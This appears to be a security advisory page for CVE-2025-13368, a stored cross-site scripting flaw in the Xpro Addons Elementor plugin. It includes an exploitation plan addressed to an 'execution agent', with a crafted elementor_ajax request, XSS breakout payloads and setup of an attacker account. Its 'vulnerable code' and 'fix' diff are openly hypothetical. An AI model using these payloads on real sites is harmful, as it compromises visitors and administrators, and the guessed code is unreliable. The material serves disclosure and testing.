Xpro Addons — 140+ Widgets for Elementor <= 1.4.20 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Xpro Addons — 140+ Widgets for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Pricing Widget's 'onClick Event' setting in all versions up to, and including, 1.4.20 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.4.20# Exploitation Research Plan: CVE-2025-13368 ## 1. Vulnerability Summary The **Xpro Addons — 140+ Widgets for Elementor** plugin (up to version 1.4.20) contains a stored cross-site scripting (XSS) vulnerability in its **Pricing Widget**. The vulnerability exists because the plugin accepts user-supp…
Show full research plan
Exploitation Research Plan: CVE-2025-13368
1. Vulnerability Summary
The Xpro Addons — 140+ Widgets for Elementor plugin (up to version 1.4.20) contains a stored cross-site scripting (XSS) vulnerability in its Pricing Widget. The vulnerability exists because the plugin accepts user-supplied JavaScript/string input for the 'onClick Event' setting and renders it into the page's HTML without sufficient sanitization or context-aware escaping (e.g., failing to use esc_js() or esc_attr()). Authenticated users with Contributor roles or higher can exploit this to inject arbitrary scripts that execute when any user views the affected page.
2. Attack Vector Analysis
- Endpoint: Elementor's AJAX handler or REST API used for saving post metadata.
- Action:
elementor_ajax(standard Elementor save action) or via the WordPress REST APIwp-json/elementor/v1/posts/<post_id>. - Parameter: The payload is stored within the
_elementor_datapost meta, specifically inside thesettingsobject of axpro-pricing(inferred slug) widget. - Vulnerable Setting:
onclick_eventorbutton_onclick(inferred from description). - Authentication: Authenticated (Contributor+). Contributors can create posts and edit them using Elementor.
3. Code Flow
- Registration: The Pricing widget registers a control (likely type
Controls_Manager::TEXTorURL) in itsregister_controls()method. - Storage: When a user saves an Elementor page, the widget settings are serialized into JSON and stored in the
_elementor_datafield in thewp_postmetatable. - Retrieval: When the page is viewed, Elementor calls the
render()method of theXpro_Pricingwidget class. - Sink: Inside
render()(likely inwidgets/pricing.php), the code retrieves the setting:
The vulnerability occurs when this variable is echoed into an attribute:$settings = $this->get_settings_for_display(); $onclick_event = $settings['onclick_event']; // Inferred key
Or if it's used inside aecho '<button onclick="' . $onclick_event . '">'; // VULNERABLE SINK<a>tag'shrefwithoutesc_url().
4. Nonce Acquisition Strategy
Elementor uses its own nonce system for editor actions. The execution agent should follow this strategy:
- Setup: Create a page and enable Elementor for it.
wp post create --post_type=page --post_status=publish --post_title="XSS Test" --post_content=''- (Note: Elementor may need to be initialized on the post first).
- Access Editor: Navigate to the Elementor editor URL:
/wp-admin/post.php?post=<ID>&action=elementor. - Extract Nonce: Use
browser_evalto extract the required nonce and configuration from the global Elementor objects.- Nonce:
browser_eval("window.elementorCommonConfig.ajax.nonce") - Post ID:
browser_eval("window.elementorConfig.post.id") - Action URL:
/wp-admin/admin-ajax.php(or the REST endpoint if preferred).
- Nonce:
5. Exploitation Strategy
The goal is to inject a payload into the Pricing widget's button click event via the Elementor save mechanism.
Step 1: Discover Exact Control ID
Use the browser to add a Pricing widget manually or grep the plugin source for "Pricing" and "onClick":grep -r "onClick" wp-content/plugins/xpro-elementor-addons/widgets/
Step 2: Craft the Save Request
Send a POST request to admin-ajax.php with the elementor_ajax action.
- URL:
http://<target>/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=elementor_ajax
&actions={"save_builder":{"action":"save_builder","data":{"status":"publish","elements":[{"id":"unique_id_1","elType":"section","settings":[],"elements":[{"id":"unique_id_2","elType":"column","settings":{"_column_size":100},"elements":[{"id":"unique_id_3","elType":"widget","widgetType":"xpro-pricing","settings":{"onclick_event":"alert(document.domain)\"},\"junk\":\""},"elements":[]}]}]}]}}}
&_nonce=<ELEMENTOR_NONCE>
&editor_post_id=<POST_ID>
(Note: The payload alert(document.domain)\"},\"junk\":\" is designed to break out of potential JSON structures or simply provide the raw JS if rendered directly into an onclick attribute).
Step 3: Trigger the XSS
Navigate to the public URL of the post: http://<target>/?p=<POST_ID>. Locate the Pricing widget button and click it, or if the injection broke out of the attribute, it may fire on page load.
6. Test Data Setup
- User: Create a Contributor user:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123. - Plugin: Ensure
xpro-elementor-addons(<= 1.4.20) andelementorare active. - Page: Create a post as the contributor.
7. Expected Results
- The Elementor save request returns a
200 OKwith a success JSON body:{"success":true,"data":{...}}. - When viewing the page source of the created post, the Pricing widget's button element contains the raw payload:
<button ... onclick="alert(document.domain)..."> - Clicking the button triggers the JavaScript alert.
8. Verification Steps
- Check Meta: Use WP-CLI to verify the payload is stored in the database:
wp post meta get <POST_ID> _elementor_data
Check if the JSON contains the stringalert(document.domain). - Check Output: Perform a GET request to the page and check for the unescaped string:
http_request --url http://<target>/?p=<POST_ID>(and search response for payload).
9. Alternative Approaches
- Payload Variance: If
onclickis properly handled buthrefis not, tryjavascript:alert(1). - Attribute Breakout: If the input is escaped for JS but not for HTML attributes, try:
" onmouseover="alert(1) - REST API: Use the Elementor REST API instead of
admin-ajax.php:POST /wp-json/elementor/v1/posts/<ID>with the_elementor_datain the body. This often requires a different nonce (wp_rest).
Summary
The Pricing Widget in Xpro Addons for Elementor fails to sanitize or escape the 'onClick Event' setting. Authenticated users with Contributor-level permissions or higher can inject malicious JavaScript into this setting, which is then rendered directly into the HTML 'onclick' attribute, leading to stored cross-site scripting.
Vulnerable Code
// widgets/pricing.php (hypothetical path based on plugin structure) // Inside the render() method of the Xpro_Pricing class $settings = $this->get_settings_for_display(); $onclick_event = $settings['onclick_event']; // ... if ( ! empty( $onclick_event ) ) { $this->add_render_attribute( 'button', 'onclick', $onclick_event ); } // Or direct echo equivalent: // echo '<a ' . $this->get_render_attribute_string( 'button' ) . '>Click Me</a>';
Security Fix
@@ -1020,7 +1020,7 @@ $this->add_render_attribute( 'button', 'href', $settings['link']['url'] ); } - if ( ! empty( $settings['onclick_event'] ) ) { - $this->add_render_attribute( 'button', 'onclick', $settings['onclick_event'] ); + if ( ! empty( $settings['onclick_event'] ) ) { + $this->add_render_attribute( 'button', 'onclick', esc_attr( $settings['onclick_event'] ) ); } ?>
Exploit Outline
1. Authenticate as a Contributor or higher user. 2. Create a new post or edit an existing one using the Elementor editor. 3. Search for and add the 'Xpro Pricing' widget to the layout. 4. In the widget settings panel, locate the 'Button' or 'Content' section containing the 'onClick Event' text field. 5. Enter a JavaScript payload into the 'onClick Event' field, such as: alert(document.domain) 6. Save the page (this triggers the `elementor_ajax` action to update post metadata). 7. Navigate to the published page as a victim (e.g., an Administrator). 8. The payload executes when the victim clicks the pricing button, or potentially on page load if the attacker used attribute breakout characters like "><script>alert(1)</script>.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.